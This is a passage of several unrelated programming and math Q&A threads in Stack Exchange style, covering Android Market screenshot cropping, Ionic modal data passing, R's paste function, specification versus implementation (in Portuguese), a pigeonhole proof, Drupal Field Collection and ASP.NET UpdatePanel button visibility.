There is some text next to the screenshot upload area in the dev console that reads: "The thumbnails will appear to be cropped, but the actual images will be preserved." But again, the problem is that customers are seeing the cropped image in the main Market listing for the app. If user then clicks on an image they see the uncropped image.
Please let me know if you have a way to get 480x800 or 480x854 images uploaded without them getting chopped.
Answer: Unfortunately, I don't think there is. We just stick to 320x480 images in our apps.
Comment: Yeah, I've resorted to 320x480 for now. It just seems kind of crazy that Google, multi-billion dollar company, can't spend the time to fix this kind of thing.


Ionic sending data between child and parent component. Best approach?

Question: I am trying to implement search feature. Looks something like this.
This is my parent component:

Once you click to Advanced it goes to modalController where you can select different filters:

I want to filter my search result by those filter by passing object called data. Facebook property should be either 1 or 0 and so on.
So for example one toggle is on, set data = { facebook = '1'}
So. I have an object in my parent component Search.ts
data = {
      search: ' ',
      facebook: ' '
    };
And I want to update facebook property from childComponent once Facebook Allowed is toggled.
I am not sure what is the best way to do it?
Any ideas would be highly appreciated!
Comment: https://stackoverflow.com/questions/31026886/how-do-i-share-data-between-components-in-angular-2
Answer: When you close modal at that time you pass data to child component like
this.viewCtrl.dismiss(this.pick_color);

Instead of this.pick_color you have pass your object of facebook and email allowed.
You have to catch passed value in child component like
let colorModal = this.modalCtrl.create(ColorModal, { notes_data_id: notes_data_id });
colorModal.present();

colorModal.onDidDismiss(data=>
{
    console.log(data);
});

For more info
https://forum.ionicframework.com/t/passing-data-in-from-modal/61051/2
Comment: Super. Did that. Now I receive the object from child component to parent.
After
console.log(data) I receive:
{facebook: "1", email: ""}

Question is : How can I now insert this data to my data object in parent component.
Rookie out here! Thanks
Comment: Now I receive the object from child component to parent. After console.log(data) I receive: {facebook: "1", email: ""} Question is : How can I now insert this data to my data object in parent component. Rookie out here! Thanks
Comment: You can use that object in your child component.
Comment: yeah, but the thing is. I use data object in parent component to send it to the API and by object parameters, it's got the data. So I need somehow to pass facebook parameter value from child component to parent data object.
Not sure if it makes sense for you.
Comment: You mean facebook allowed, email allowed also dynamic mean they comes from api call?
Comment: No, but I have to pass them as parameter to the api if I user want to see list where facebook or email is allowed.
Comment: Means when onDidDismiss() is called you have to pass facebook and email object to with api call right?
Comment: Yes.  I pass  data variable to api from my Search.ts (parent component)

  data = {
      category: ' ',
      search: ' ',
      facebook: ' ',
      email: ' '
    };
Comment: For that you have use event and publish
Comment: Thanks!
Could you help me with where should i start?
Comment: Please refer given link for events and publish for ionic 3. If i helps you please dont forgot accept and upvote to answer


Why doesn't paste with space separator work how expected?

Question: I need to make sentences from a list of vectors of POS's. So I use paste with sep=' ' But this seems to have no affect on my result. Why?
listPOS <- list(c("/NN", "/PDAT", "/VVFIN", "/VVPP", "./$."),
                c("/PPER",  "/VVFIN", "/APPR", "./$."))

# See the arrow                                           V
vecPOS <- unlist(lapply(listPOS, function(x) paste(x,sep=" ",collapse="")))

# Need vector like:
vecPOS
[1] "/NN /PDAT /VVFIN /VVPP ./$." "/PPER /VVFIN /APPR ./$."

# Get instead an vector like:
vecPOS
[1] "/NN/PDAT/VVFIN/VVPP./$." "/PPER/VVFIN/APPR./$."

Comment: unlist(lapply(listPOS, function(x) paste(x, collapse=" ")))
Answer: You need collapse = " " instead of sep = " ":
sapply(listPOS, function(x) paste(x, collapse = " "))
# [1] "/NN /PDAT /VVFIN /VVPP ./$." "/PPER /VVFIN /APPR ./$."


Especificação e Implementação

Question: Comumente vejo as palavras "especificação" e "implementação", mas não sei a diferença entre uma e outra. Por exemplo:

É possível ter controle sobre o coletor de lixo, isto apenas não ocorre com o Java na sua implementação padrão, até onde eu sei, também por força de especificação.

No geral, o que é implementação e o que é especificação?
Comment: No contexto geral ou no contexto do java/coletor de lixo?
Comment: No geral, usei o coletor de lixo como exemplo.
Answer: Especificação
É algo abstrato. É algum "documento" que estabelece regras a serem seguidas, o que se espera das possíveis implementações. Essas regras podem exigir algumas coisas e proibir outras. É uma formalização de como algo deve proceder. É a lei. Grosso modo, é a receita.
Implementação
É algo concreto. É como é feito de verdade. É o que existe para ser usado. É a aplicação da lei. É o bolo feito por alguém atendendo o que diz a receita.
É possível variar a receita, mas se modificar pontos fundamentais dela, estará ferindo o prato e ele não pode mais receber aquele nome. Obviamente que na culinária causa menos problema que na computação :P.
Relação entre elas
É óbvio que se a implementação não faz algo que a especificação obriga ter, quem for usar aquilo, que deve ser um padrão, terá problemas. Se a implementação faz algo extra que a especificação não proíbe não haverá problemas. Mas se for usar o que foi criado em cima desta implementação aproveitando os extras, obviamente não poderá portar para uma implementação diferente que se atenha mais restritamente à especificação.
No contexto descrito a implementação está sendo feita em cima da especificação, atendendo todas as regras estabelecidas por ela. A implementação pode, em tese, fazer qualquer coisa que não esteja proibida pela especificação, mas isso pode trazer dificuldades, até futuras em uma revisão da especificação.
Dentro das regras a implementação pode e deve fazer o melhor possível para atender as necessidades dos seus usuários.
Se a implementação ferir uma regra da especificação ela não poderá ser considerada como aderente àquele padrão.
A especificação pode ser mais detalhada ou mais superficial, dando mais rigidez ou flexibilidade ao que a implementação pode fazer. Também pode dar mais ambiguidade e trazer problemas. Especificação pode ter bug :).
Costuma ser mais difícil fazer uma boa especificação do que uma boa implementação, ainda que a quantidade de trabalho possa ser o inverso.
Uma especificação ruim pode dificultar ou até inviabilizar uma boa implementação existir.
Normalmente a especificação deve ser simples de entender. A implementação deve ser boa de usar.
Alguns domínios funcionam melhor com uma especificação clara e formal existente. Outros podem ser só um complicador desnecessário e indesejável.
Planejar como vai implementar não é especificação, pelo menos não no sentido descrito.
Algumas implementações são consideradas como especificação. São especificações informais e outras implementações devem ser compatíveis com esta, até os bugs, porque não há clareza quando é um bug e quando não é. Há prós e contras de se fazer isto.
Especificação para linguagem de programação.
Coloquei no GitHub para referência futura.
Answer: Quando várias empresas produzem produtos similares, algum orgão/instituto ou mesmo grupo de empresas se reunem para definir recomendações ou padrões
que devem ser seguidos por aquelas empresas afim de reduzir incompatibilidades. Um documento é criado contendo todas essas recomendações com o objetivo de

Criar um vocabulário unificado.
Definir protocolos de comunicação/integração.

Exemplos de especifições: O modelo OSI de rede, o padrão ANSI SQL, especificação da JVM.
A implementação é o resultado aplicado (concreto) de uma especificação, por motivos técnicos, de desempenho ou de utilização a implementação
pode ser totalmente diferente da especificação.
Exemplos de implementações: protocolo TCP/IP, MySQL, SQL Server, A JVM da oracle a Open JVM.
O Modelo ISO/OSI definir como funciona a troca de mensagens entre hosts, possui 7 camadas, cada uma cuida de uma parte do trabalho são elas, física, enlace, rede, transporte, sessão, apresentação e aplicação.
O protocolo TCP/IP foi baseado na especificação OSI, porém por motivos técnicos possui apenas 4 camadas, enlace, rede transporte e aplicação. Praticamente a primeira camada, enlace do TCP/IP faz o trabalho da camada física e de enlace do modelo OSI, isso é uma exemplo de como uma implementação pode mudar bastante da especificação.
Answer: Você já teve respostas úteis, mas como esse tipo de dúvida é recorrente (isto é, pode aparecer novamente no futuro com outros termos), vale a dica de que os dicionários são muito úteis. Se você consultar os termos verá que:
Especificação:
ato ou efeito de especificar; discriminação, pormenorização
descrição e/ou enumeração exaustiva e minuciosa das características de determinado conjunto de coisas, de um projeto etc
(Grande Dicionário Houaiss da língua portuguesa)
Ato de especificar

Determinar por espécies.
Indicar a espécie de.
Particularizar.
Explicar pormenorizadamente.
Mencionar por partes.

(Dicionário Priberam da Língua Portuguesa)
Implementação:
ato ou efeito de implementar
(Grande Dicionário Houaiss da língua portuguesa)
.Ato ou efeito de implementar.

Pôr em prática, em execução ou assegurar a realização de (alguma coisa). = EXECUTAR
[Informática]  Instalar, pôr em funcionamento (programa ou componente informático).

(Dicionário Priberam da Língua Portuguesa)
Fontes:

Grande Dicionário Houaiss da língua portuguesa
Dicionário Priberam da Língua Portuguesa

Especificação e Implementação


Proof problem, 5 people in a square room, prove that at most they are 4√2 ft away from each other

Question: "There are 5 people are in a square room that has dimensions of 8ft by 8ft.  Assume that these people are just points.  Prove that among these people, there is a pair that is standing at most 4√2 ft away from each other."
I don't understand how to prove this. Wouldn't a pair be standing at 8√2 from each other? Given if 2 people were in the corners?
Or, if say I put 2 people in the top left and bottom left corner, and the other 3 people on the far right, the pair in the corners would still be 8ft from each other?
Wouldn't this only work if 4 people were in the corners and one in the middle?
Comment: Looks like a sphere packing problem. See https://en.m.wikipedia.org/wiki/Circle_packing_in_a_square
Comment: If you place the two people in the corners where will you place the rest of the five people? The problem states "there is a pair that is standing at most 4√2 ft away from each other.", referring to any pair.
Answer: Divide the square into four subsquares(connect the middle points of the sides of the big square) then by the pigeonhole principle(4 small squares 5 people) there is one square that contains two people. But now the biggest distance they can be away from each other is clearly the length of the diagonal of the smaller square which is $\frac{8}{2}\sqrt{2}$ as desired.
You only need to prove that there are 2 people at most this distance away from each other, the statement clearly does not hold for all pairs of people as your example with the two points in the corners of the big square shows.


How to add replicate fields when adding content?

Question: I've got a drupal structure that I'm trying to set up for hospitality venues so it has information like opening hours, and what is going on at those times. E.g. At Joe's Burgers between 9-5 Monday-Thursday it is a restaurant, but from 9-5 Friday-Saturday it's a nightclub.
I've got fields of venue name, opening hours, and category (e.g. bar, nightclub, restaurant, etc), and therefore am able to add content for one time frame: e.g. Joe's Burgers is a restaurant from 9-5 Monday-Thursday. But I don't know how to set it up so that I can attach further details such as it's a nightclub 9-5 Friday-Saturday.
Is there a button I can add into the 'add content' section which allows me to replicate the opening hours and category fields so that I can have multiple opening hours and category combinations under one venue name?
Thanks guys!
Answer: You could use Field Collection to set up a field that contains both a category and a date as one unit.
Then all you would need to do is set the field collection to allow multiple values.
Answer: Do you need to replicate an existing time collection, or do you just need to add more?
If you just need more, Field Collection will let you add multiple collections of fields. Each collection can have the fields you need: name, hours, category, etc


Button is not getting visible once its visibility set to false while navigating from one page to another

Question: Scenario:I have two ASPX page page1.aspx and page2.aspx.In page1.aspx there is one button named "VIEW" and in page2.aspx there is set of four buttons named  "button 1","button 2","button 3" and "button 4" respectively which are defined under table tag and also there is one search text box along with search button click on page2.aspx.
My Problem statement is: When you click on "VIEW" button of page1.aspx,you should get navigate to page2.aspx and the set of four buttons which is on page2 should get invisible/disabled on page2.aspx and when i put some search word (for example Microsoft) in search text box and click on search button which is on page2.aspx,then all set of four buttons should get visible/enable along with the search results.
Issue that i am facing is, i am able to successfully navigate from page1.aspx to page2.aspx and set of four buttons which is on page2 is also getting invisible on page2.aspx.But,when i put some search criteria in search text box of page2.aspx and do the search by clicking on search button ,i am able to get search results,but my set of four buttons is not getting visible/enable on page2.aspx.I am using button.visible = "true" inside search_click() function in code behind file of page2.aspx.cs.
Comment: Are the search results covering up your buttons by any chance.  Is this a css / layout issue?
Comment: No,my search result is not covering up my buttons.I dont think its a css/layout issue and yes i am using updatepanel as well as ajax.so what u say do i have to use updatepanel or not ?
Comment: You can certainly use an updatepanel but this is probably the source of your problem.  I will edit my answer below and tell you what to do.
Comment: Hey wing,thanks for the help.I'll try and let you know whether it worked or not.
Answer: Wrap your buttons in an asp panel. Set the visible attribute of the panel to false in the aspx page so that it is false by default.
Make the panel visible from within the Search button click event.
for example within that event you only need the code:
Panel1.Visible= true

If you are using updatepanels then you should probably put your button panel in a separate updatepanel and set the updatemode to conditional.  You should then be able to set a trigger on the updatepanel so that content refreshes only when the search button is clicked.
<asp:UpdatePanel ID="upButtons" runat="server" UpdateMode="Conditional" ChildrenAsTriggers="false">
  <Triggers>
    <asp:AsyncPostBackTrigger ControlID="btnSearch" />
  </Triggers>
  <ContentTemplate>
    <<your buttons here>>
  </ContentTemplate>
</asp:UpdatePanel>

I think your answer will be along these lines. You can also trigger an update directly from code with something like the following in your Search button click event.
upButtons.Update

Wing
Comment: Hi wing,thanks for the response.I have tried putting buttons in asp panel as well as in div tag and set its visibility to false and also on search button click event i have used panel1.visible = true and div1.visible = true.But,it didn't helped me.I think some how button  controls are not getting refreshed and thats why its visibility is not getting set to "true".Any suggestions ??
Comment: Are you using an updatepanel anywhere or ajax of any sort? Your search button click would under normal circumstances post back to the server and reload page.  If you are doing this in an updatepanel then this could be your problem